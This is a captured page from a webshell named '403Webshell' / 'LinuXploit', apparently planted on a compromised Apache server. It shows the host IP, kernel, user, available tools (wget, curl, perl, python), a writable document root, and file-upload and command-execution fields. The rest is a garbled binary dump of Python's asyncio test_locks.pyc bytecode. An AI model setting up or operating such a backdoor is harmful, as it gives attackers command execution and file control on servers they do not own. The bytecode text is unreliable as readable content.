403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/test_asyncio/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/test_asyncio/__pycache__/test_locks.cpython-36.pyc
3

�w2_�u�@s�dZddlZddlmZddlZddlZddlmZdZeje�ZGdd�dej	�Z
Gdd	�d	ej	�ZGd
d�dej	�ZGdd
�d
ej	�Z
edkr�ej�dS)zTests for lock.py�N)�mock)�
test_utilszt^<(?P<class>.*?) object at (?P<address>.*?)\[(?P<extras>(set|unset|locked|unlocked)(,value:\d)?(,waiters:\d+)?)\]>\Zcs�eZdZ�fdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Z�ZS)�	LockTestscst�j�|j�|_dS)N)�super�setUp�
new_test_loop�loop)�self)�	__class__��A/opt/alt/python36/lib64/python3.6/test/test_asyncio/test_locks.pyrs
zLockTests.setUpcCsDtj�}tj|d�}|j|j|�tj|jd�}|j|j|j�dS)N)r)r�Mock�asyncio�Lock�assertIs�_loopr)r	r�lockrrr�test_ctor_loops
zLockTests.test_ctor_loopcCs(tj|j�tj�}|j|j|j�dS)N)r�set_event_looprrrr)r	rrrr�test_ctor_noloop!szLockTests.test_ctor_noloopcs�tj|jd��|jt��jd��|jtjt����tj�fdd��}|jj	|��|jt��jd��|jtjt����dS)N)rz[unlocked]>c3s�EdHdS)Nrr)rrr�acquire_lock+sz)LockTests.test_repr.<locals>.acquire_lockz	[locked]>)
rrr�
assertTrue�repr�endswith�RGX_REPR�match�	coroutine�run_until_complete)r	rr)rr�	test_repr&szLockTests.test_reprcs`tj|jd��tj�fdd��}|jj|��}|j|�|j�j���j�|j�j��dS)N)rc3s
�EdHS)Nrr)rrrr6sz)LockTests.test_lock.<locals>.acquire_lock)	rrrrrr�locked�release�assertFalse)r	r�resr)rr�	test_lock3s
zLockTests.test_lockcs�tj|jd��g}|j|jj�j���tj�fdd��}tj�fdd��}tj�fdd��}tj||�|jd�}tj||�|jd�}tj	|j�|j
g|��j�tj	|j�|j
dg|�tj	|j�|j
dg|�tj||�|jd�}�j�tj	|j�|j
dd	g|��j�tj	|j�|j
dd	d
g|�|j|j��|j|j
��|j|j��|j|j
��|j|j��|j|j
��dS)N)rc3s�j�EdHr|jd�dS)N�T)�acquire�append)�result)rrr�c1Hs
z"LockTests.test_acquire.<locals>.c1c3s�j�EdHr|jd�dS)N�T)r%r&)r')rrr�c2Ns
z"LockTests.test_acquire.<locals>.c2c3s�j�EdHr|jd�dS)N�T)r%r&)r')rrr�c3Ts
z"LockTests.test_acquire.<locals>.c3r$r)r+)rrrrrr%r�Taskr�run_briefly�assertEqualr �doner')r	r'r(r*r,�t1�t2�t3r)rr�test_acquireBs8zLockTests.test_acquirecCsjtj|jd�}|j|jj|j���tj|j�|jd�}|jj|j�|j	tj
|jj|�|j|j�dS)N)r)
rrrrrr%r-�	call_soon�cancel�assertRaises�CancelledErrorr!�_waiters)r	rZtaskrrr�test_acquire_cancelxszLockTests.test_acquire_cancelcs4tj|jd��tj�fdd��}tj|jd�}tj|d|�|jd�}tj|j�|j�j	��tj|dd�|jd�}tj|j�|j
t�j�d�tj|dd�|jd�}tj|j�|j
t�j�d�|j
d�|j�|j�jd	j��tj|j�|j�j	��|j|j��|j|j��|j|j��dS)
N)rc
3s4�j�EdHz|dk	r"|EdHWd�j�XdS)N)r%r )�nameZblocker)rrr�lockit�s
z*LockTests.test_cancel_race.<locals>.lockit�A�Br$�Cr)r)rrrrZFuturer-rr.rrr/�lenr9Z
set_resultr6�	cancelledr!r0)r	r<Zfa�ta�tb�tcr)rr�test_cancel_race�s(	
zLockTests.test_cancel_racecstj�jd��d�d����fdd�}���fdd�}��fdd���jj|��}�jj|����jj|��}�jj|��}tj�j��j|j��tj�j�tj�j��j�d	��j�d
��j�j	�o�|j��|j
�tj�j��j|j	��dS)N)rrc�s"�d7��j�IdH�d7�dS)Nr$)r%r)�
call_countr�
lock_countrrr<�sz2LockTests.test_cancel_release_race.<locals>.lockitc�s�j�IdH�jj��dS)N)r%rr5r)rr	�triggerrr�lockandtrigger�sz:LockTests.test_cancel_release_race.<locals>.lockandtriggercs�j��j�dS)N)r6r r)rr1rrrH�sz3LockTests.test_cancel_release_race.<locals>.triggerr$r+)rrrZcreate_taskrr.rr0r/rAr6)r	r<rIZt0r2r3r)rFrrGr	r1rHr�test_cancel_release_race�s(z"LockTests.test_cancel_release_racecCs�tj|jd�}tj|j�|jd�}tj|j�|j|j��tj|j�|jd�}tj|j�|j	t
|j�d�tj|j�|jd�}|j�|j
�tj|j�|j|j��|j|j��|j|j��dS)N)rr$)rrrr-r%rr.rrr/r@r9r r6r0rA)r	rrBrCrDrrr�test_finished_waiter_cancelled�sz(LockTests.test_finished_waiter_cancelledcCs tj|jd�}|jt|j�dS)N)r)rrrr7�RuntimeErrorr )r	rrrr�test_release_not_acquired�sz#LockTests.test_release_not_acquiredcCsFtj|jd�}|jj|j��|j|j��|j�|j|j��dS)N)r)	rrrrr%rrr r!)r	rrrr�test_release_no_waiters�s
z!LockTests.test_release_no_waitersc	sZtj|jd��tj�fdd��}|jj|���|j�j��WdQRX|j�j��dS)N)rc3s
�EdHS)Nrr)rrrr	sz4LockTests.test_context_manager.<locals>.acquire_lock)rrrrrrrr!)r	rr)rr�test_context_managers
zLockTests.test_context_managercs�tj|jd��tj�fdd��}|jj|��}|�|j�j��WdQRX|j�j��|jt	��|�WdQRXWdQRXdS)N)rc3s
�EdHS)Nrr)rrrrsz?LockTests.test_context_manager_cant_reuse.<locals>.acquire_lock)
rrrrrrrr!r7�AttributeError)r	r�cmr)rr�test_context_manager_cant_reusesz)LockTests.test_context_manager_cant_reusecCsrtj|jd�}y|�|jd�WdQRXWn2tk
r^}z|jt|�d�WYdd}~XnX|j|j��dS)N)rz-RuntimeError is not raised in with expressionz9"yield from" should be used as context manager expression)	rrr�failrLr/�strr!r)r	r�errrrr�test_context_manager_no_yield$sz'LockTests.test_context_manager_no_yield)�__name__�
__module__�__qualname__rrrrr#r4r:rErJrKrMrNrOrRrV�
__classcell__rr)r
rrs
600rcs\eZdZ�fdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Z�ZS)�
EventTestscst�j�|j�|_dS)N)rrrr)r	)r
rrr4s
zEventTests.setUpcCsDtj�}tj|d�}|j|j|�tj|jd�}|j|j|j�dS)N)r)rr
r�Eventrrr)r	r�evrrrr8s
zEventTests.test_ctor_loopcCs(tj|j�tj�}|j|j|j�dS)N)rrrr\rr)r	r]rrrr@szEventTests.test_ctor_noloopcCs�tj|jd�}|jt|�jd��tjt|��}|j|j	d�d�|j
�|jt|�jd��|jtjt|���|jjt
j��|jdt|�k�|jtjt|���dS)N)rz[unset]>ZextrasZunsetz[set]>z	waiters:1)rr\rrrrrrr/�group�setr9r&rr
)r	r]rrrrrEszEventTests.test_reprcs(tj|jd��|j�j��g}tj�fdd��}tj�fdd��}tj�fdd��}tj||�|jd�}tj||�|jd�}tj|j�|j	g|�tj||�|jd�}�j
�tj|j�|j	dd	d
g|�|j|j��|j
|j��|j|j��|j
|j��|j|j��|j
|j��dS)N)rc3s�j�EdHr|jd�dS)Nr$)�waitr&)r')r]rrr(Ysz EventTests.test_wait.<locals>.c1c3s�j�EdHr|jd�dS)Nr))r`r&)r')r]rrr*^sz EventTests.test_wait.<locals>.c2c3s�j�EdHr|jd�dS)Nr+)r`r&)r')r]rrr,csz EventTests.test_wait.<locals>.c3r+r$r))rr\rr!�is_setrr-rr.r/r_rr0ZassertIsNoner')r	r'r(r*r,r1r2r3r)r]r�	test_waitSs(zEventTests.test_waitcCs4tj|jd�}|j�|jj|j��}|j|�dS)N)r)rr\rr_rr`r)r	r]r"rrr�test_wait_on_set{szEventTests.test_wait_on_setcCsTtj|jd�}tj|j�|jd�}|jj|j�|jtj|jj	|�|j
|j�dS)N)r)rr\rr-r`r5r6r7r8rr!r9)r	r]r`rrr�test_wait_cancel�szEventTests.test_wait_cancelcCsLtj|jd�}|j|j��|j�|j|j��|j�|j|j��dS)N)r)rr\rr!rar_r�clear)r	r]rrr�
test_clear�szEventTests.test_clearcs�tj|jd��g}tj�fdd��}tj||�|jd�}tj|j�|jg|��j��j	�|j
�j���j��j�|jdt�j
��tj|j�|jdg|�|jdt�j
��|j|j��|j|j��dS)N)rc3s�j�EdHr|jd�dS)Nr$T)r`r&)r')r]rrr(�s
z.EventTests.test_clear_with_waiters.<locals>.c1r$r)rr\rrr-rr.r/r_rer!rar@r9rr0r')r	r'r(�tr)r]r�test_clear_with_waiters�s"z"EventTests.test_clear_with_waiters)
rWrXrYrrrrrbrcrdrfrhrZrr)r
rr[2s(

r[cs�eZdZ�fdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Z�ZS)'�ConditionTestscst�j�|j�|_dS)N)rrrr)r	)r
rrr�s
zConditionTests.setUpcCsDtj�}tj|d�}|j|j|�tj|jd�}|j|j|j�dS)N)r)rr
r�	Conditionrrr)r	r�condrrrr�s
zConditionTests.test_ctor_loopcCs(tj|j�tj�}|j|j|j�dS)N)rrrrjrr)r	rkrrrr�szConditionTests.test_ctor_noloopcstj|jd��g}tj�fdd��}tj�fdd��}tj�fdd��}tj||�|jd�}tj||�|jd�}tj||�|jd�}tj|j�|jg|�|j�j	��|j
|jj�j����j
�tj|j�|jg|�|j
�j	���j�tj|j�|jdg|�|j
�j	���j
d	�tj|j�|jdg|�|j
�j	���j�tj|j�|jdd	g|�|j
�j	���j�tj|j�|jdd	d
g|�|j
�j	��|j
|j��|j
|j��|j
|j��|j
|j��|j
|j��|j
|j��dS)N)rc3s*�j�EdH�j�EdHr&|jd�dS)Nr$T)r%r`r&)r')rkrrr(�s
z$ConditionTests.test_wait.<locals>.c1c3s*�j�EdH�j�EdHr&|jd�dS)Nr)T)r%r`r&)r')rkrrr*�s
z$ConditionTests.test_wait.<locals>.c2c3s*�j�EdH�j�EdHr&|jd�dS)Nr+T)r%r`r&)r')rkrrr,�s
z$ConditionTests.test_wait.<locals>.c3r$r)r+)rrjrrr-rr.r/r!rrrr%�notifyr r0r')r	r'r(r*r,r1r2r3r)rkrrb�sL
zConditionTests.test_waitcCsrtj|jd�}|jj|j��tj|j�|jd�}|jj|j�|j	tj
|jj|�|j|j�|j
|j��dS)N)r)rrjrrr%r-r`r5r6r7r8r!r9rr)r	rkr`rrrrd	szConditionTests.test_wait_cancelcCs�tj|jd�}|jj|j��|j|j��tj|j�|jd�}t	j
|j�|j|j��|jj|j��|j|j��|j�|jj
|j�|jj
|j�y|jj|�Wntjk
r�YnX|j|j��dS)N)r)rrjrrr%rrr-r`rr.r!rlr5r6r r8)r	rkZ	wait_taskrrr�test_wait_cancel_contesteds z)ConditionTests.test_wait_cancel_contestedcs�tj|jd��d���fdd�}tj|�|jd�}tj|j�|jj�j���j�tj|j�|j	�tj|j��j
�tj|j�|j|j��|j��dS)N)rFc
�s4�4IdH�d��j�IdHWdQIdHRXdS)NT)r`r)rk�waitedrr�wait_on_cond3szBConditionTests.test_wait_cancel_after_notify.<locals>.wait_on_cond)
rrjrZ
ensure_futurerr.rr%rlr6r rrA)r	ro�waiterr)rkrnr�test_wait_cancel_after_notify.sz,ConditionTests.test_wait_cancel_after_notifycCs(tj|jd�}|jt|jj|j��dS)N)r)rrjrr7rLrr`)r	rkrrr�test_wait_unacquiredGsz#ConditionTests.test_wait_unacquiredcs�tj|jd��d��fdd��g}tj��fdd��}tj||�|jd�}tj|j�|jg|�|jj�j	���j
��j�tj|j�|jg|�d�|jj�j	���j
��j�tj|j�|jdg|�|j|j
��|j|j��dS)	N)rFcs�S)Nrr)�presultrr�	predicateQsz/ConditionTests.test_wait_for.<locals>.predicatec3s4�j�EdH�j��EdHr0|jd��j�dS)Nr$T)r%�wait_forr&r )r')rkrtrrr(Vs

z(ConditionTests.test_wait_for.<locals>.c1Tr$)rrjrrr-rr.r/rr%rlr rr0r')r	r'r(rgr)rkrtrsr�
test_wait_forMs*zConditionTests.test_wait_forcCsVtj|jd�}|jj|jdd���}|jdddg|�|jt|jj|jdd���dS)N)rcSs
dddgS)Nr$r)r+rrrrr�<lambda>wsz9ConditionTests.test_wait_for_unacquired.<locals>.<lambda>r$r)r+cSsdS)NFrrrrrrw}s)rrjrrrur/r7rL)r	rkr"rrr�test_wait_for_unacquiredssz'ConditionTests.test_wait_for_unacquiredcsztj|jd��g}tj�fdd��}tj�fdd��}tj�fdd��}tj||�|jd�}tj||�|jd�}tj||�|jd�}tj|j�|jg|�|jj�j	���j
d��j�tj|j�|jdg|�|jj�j	���j
d��j
d	��j�tj|j�|jdd
dg|�|j|j
��|j|j��|j|j
��|j|j��|j|j
��|j|j��dS)N)rc3s2�j�EdH�j�EdHr.|jd��j�dS)Nr$T)r%r`r&r )r')rkrrr(�s

z&ConditionTests.test_notify.<locals>.c1c3s2�j�EdH�j�EdHr.|jd��j�dS)Nr)T)r%r`r&r )r')rkrrr*�s

z&ConditionTests.test_notify.<locals>.c2c3s2�j�EdH�j�EdHr.|jd��j�dS)Nr+T)r%r`r&r )r')rkrrr,�s

z&ConditionTests.test_notify.<locals>.c3r$ir)r+)rrjrrr-rr.r/rr%rlr rr0r')r	r'r(r*r,r1r2r3r)rkr�test_notifys6


zConditionTests.test_notifycs�tj|jd��g}tj�fdd��}tj�fdd��}tj||�|jd�}tj||�|jd�}tj|j�|jg|�|jj�j	���j
��j�tj|j�|jddg|�|j|j
��|j|j��|j|j
��|j|j��dS)N)rc3s2�j�EdH�j�EdHr.|jd��j�dS)Nr$T)r%r`r&r )r')rkrrr(�s

z*ConditionTests.test_notify_all.<locals>.c1c3s2�j�EdH�j�EdHr.|jd��j�dS)Nr)T)r%r`r&r )r')rkrrr*�s

z*ConditionTests.test_notify_all.<locals>.c2r$r))rrjrrr-rr.r/rr%�
notify_allr rr0r')r	r'r(r*r1r2r)rkr�test_notify_all�s"zConditionTests.test_notify_allcCs tj|jd�}|jt|j�dS)N)r)rrjrr7rLrl)r	rkrrr�test_notify_unacquired�sz%ConditionTests.test_notify_unacquiredcCs tj|jd�}|jt|j�dS)N)r)rrjrr7rLrz)r	rkrrr�test_notify_all_unacquired�sz)ConditionTests.test_notify_all_unacquiredcCs�tj|jd�}|jdt|�k�|jtjt|���|jj|j��|jdt|�k�|j	j
tj��|jdt|�k�|jtjt|���|j	j
tj��|jdt|�k�|jtjt|���dS)N)rZunlockedrz	waiters:1z	waiters:2)
rrjrrrrrrr%r9r&rr
)r	rkrrrr�szConditionTests.test_reprc	sZtj|jd��tj�fdd��}|jj|���|j�j��WdQRX|j�j��dS)N)rc3s
�EdHS)Nrr)rkrr�acquire_cond�sz9ConditionTests.test_context_manager.<locals>.acquire_cond)rrjrrrrrr!)r	r~r)rkrrO�s
z#ConditionTests.test_context_managercCsrtj|jd�}y|�|jd�WdQRXWn2tk
r^}z|jt|�d�WYdd}~XnX|j|j��dS)N)rz-RuntimeError is not raised in with expressionz9"yield from" should be used as context manager expression)	rrjrrSrLr/rTr!r)r	rkrUrrrrVsz,ConditionTests.test_context_manager_no_yieldcCs@tj|jd�}tj||jd�}|j|j|�|j|j|j�dS)N)r)rrrrjr�_lockr)r	rrkrrr�test_explicit_lock
sz!ConditionTests.test_explicit_lockcCsJ|j�}|j|j�tj|jd�}|jt��tj||d�WdQRXdS)N)r)	rZ
addCleanup�closerrrr7�
ValueErrorrj)r	rrrrr�test_ambiguous_loopss
z#ConditionTests.test_ambiguous_loops)rWrXrYrrrrbrdrmrqrrrvrxryr{r|r}rrOrVr�r�rZrr)r
rri�s&B&7&
rics�eZdZ�fdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Z�ZS)�SemaphoreTestscst�j�|j�|_dS)N)rrrr)r	)r
rrrs
zSemaphoreTests.setUpcCsDtj�}tj|d�}|j|j|�tj|jd�}|j|j|j�dS)N)r)rr
r�	Semaphorerrr)r	r�semrrrr#s
zSemaphoreTests.test_ctor_loopcCs(tj|j�tj�}|j|j|j�dS)N)rrrr�rr)r	r�rrrr+szSemaphoreTests.test_ctor_noloopcCs"tjd|jd�}|j|j��dS)Nr)r)rr�rrr)r	r�rrr�test_initial_value_zero0sz&SemaphoreTests.test_initial_value_zerocCs�tj|jd�}|jt|�jd��|jtjt|���|jj|j	��|jt|�jd��|jdt|�k�|jtjt|���|j
jtj
��|jdt|�k�|jtjt|���|j
jtj
��|jdt|�k�|jtjt|���dS)N)rz[unlocked,value:1]>z	[locked]>�waitersz	waiters:1z	waiters:2)rr�rrrrrrrr%r9r&rr
)r	r�rrrr4szSemaphoreTests.test_reprcs�tj|jd��|jd�j�tj�fdd��}|jj|��}|j|�|j�j��|jd�j��j	�|j
�j��|jd�j�dS)N)rr$c3s
�EdHS)Nrr)r�rrrJsz3SemaphoreTests.test_semaphore.<locals>.acquire_lockr)rr�rr/�_valuerrrrr r!)r	rr"r)r�r�test_semaphoreFs
zSemaphoreTests.test_semaphorecCs|jttjd�dS)Nr$���)r7r�rr�)r	rrr�test_semaphore_valueXsz#SemaphoreTests.test_semaphore_valuecstjd|jd��g}|j|jj�j���|j|jj�j���|j�j��tj�fdd��}tj�fdd��}tj�fdd��}tj�fd	d
��}tj	||�|jd�}tj	||�|jd�}tj	||�|jd�}t
j|j�|jdg|�|j�j��|jdt
�j��|jd
�j�tj	||�|jd�}	�j��j�|jd�j�t
j|j�|jd
�j�|jdt
|��|j�j��|jdt
�j��|jd
�j�|j|j��|j|j��|||	g}
dd�|
D�}|jdt
|���j�|jjtj|
��dS)Nr+)rc3s�j�EdH|jd�dS)Nr$T)r%r&)r')r�rrr(cs
z'SemaphoreTests.test_acquire.<locals>.c1c3s�j�EdH|jd�dS)Nr)T)r%r&)r')r�rrr*is
z'SemaphoreTests.test_acquire.<locals>.c2c3s�j�EdH|jd�dS)Nr+T)r%r&)r')r�rrr,os
z'SemaphoreTests.test_acquire.<locals>.c3c3s�j�EdH|jd�dS)N�T)r%r&)r')r�rr�c4us
z'SemaphoreTests.test_acquire.<locals>.c4r$r)rcSs g|]}|j�r|j�r|�qSr)r0r')�.0rgrrr�
<listcomp>�sz/SemaphoreTests.test_acquire.<locals>.<listcomp>)rr�rrrr%r!rrr-rr.r/r@r9r�r r0r'Zgather)r	r'r(r*r,r�r1r2r3�t4Z
race_tasksZ
done_tasksr)r�rr4[sD
zSemaphoreTests.test_acquirecCsztj|jd�}|jj|j��tj|j�|jd�}|jj|j�|jtj	|jj|�|j
|jprtdd�|jD���dS)N)rcss|]}|j�VqdS)N)r0)r�rprrr�	<genexpr>�sz5SemaphoreTests.test_acquire_cancel.<locals>.<genexpr>)
rr�rrr%r-r5r6r7r8rr9�all)r	r�r%rrrr:�sz"SemaphoreTests.test_acquire_cancelcCs�tjd|jd�}tj|j�|jd�}tj|j�|jd�}tj|j�|jd�}tj|j�|jd�}tj|j�|j�|j�|j�tj|j�t	dd�||gD��}|j
|d�|j�|j�tj|j�dS)Nr)�valuer)rcss|]}|j�VqdS)N)r0)r�rgrrrr��szCSemaphoreTests.test_acquire_cancel_before_awoken.<locals>.<genexpr>r$)rr�rr-r%rr.r r6�sumr/)r	r�r1r2r3r�Znum_donerrr�!test_acquire_cancel_before_awoken�sz0SemaphoreTests.test_acquire_cancel_before_awokencCsrtjd|jd�}tj|j�|jd�}tj|j�|jd�}tj|j�|j�|j�tj|j�|j	|j
��dS)Nr)r�r)r)rr�rr-r%rr.r r6rr)r	r�r1r2rrr�test_acquire_hang�sz SemaphoreTests.test_acquire_hangcCs tj|jd�}|jt|j�dS)N)r)rZBoundedSemaphorerr7r�r )r	r�rrrrM�sz(SemaphoreTests.test_release_not_acquiredcCsFtj|jd�}|jj|j��|j|j��|j�|j|j��dS)N)r)	rr�rrr%rrr r!)r	r�rrrrN�s
z&SemaphoreTests.test_release_no_waiterscs�tjd|jd��tj�fdd��}|jj|���J|j�j��|jd�j�|jj|���|j	�j��WdQRXWdQRX|jd�j�dS)Nr))rc3s
�EdHS)Nrr)r�rrr�sz9SemaphoreTests.test_context_manager.<locals>.acquire_lockr$)
rr�rrrr!rr/r�r)r	rr)r�rrO�s"z#SemaphoreTests.test_context_managercCsttjd|jd�}y|�|jd�WdQRXWn2tk
r`}z|jt|�d�WYdd}~XnX|jd|j�dS)Nr))rz-RuntimeError is not raised in with expressionz9"yield from" should be used as context manager expression)rr�rrSrLr/rTr�)r	r�rUrrrrV�sz,SemaphoreTests.test_context_manager_no_yield)rWrXrYrrrr�rr�r�r4r:r�r�rMrNrOrVrZrr)r
rr�sAr��__main__)�__doc__Zunittestr�rerrZSTR_RGX_REPR�compilerZTestCaserr[rir�rW�mainrrrr�<module>s&
!k[

Youez - 2016 - github.com/yon3zu
LinuXploit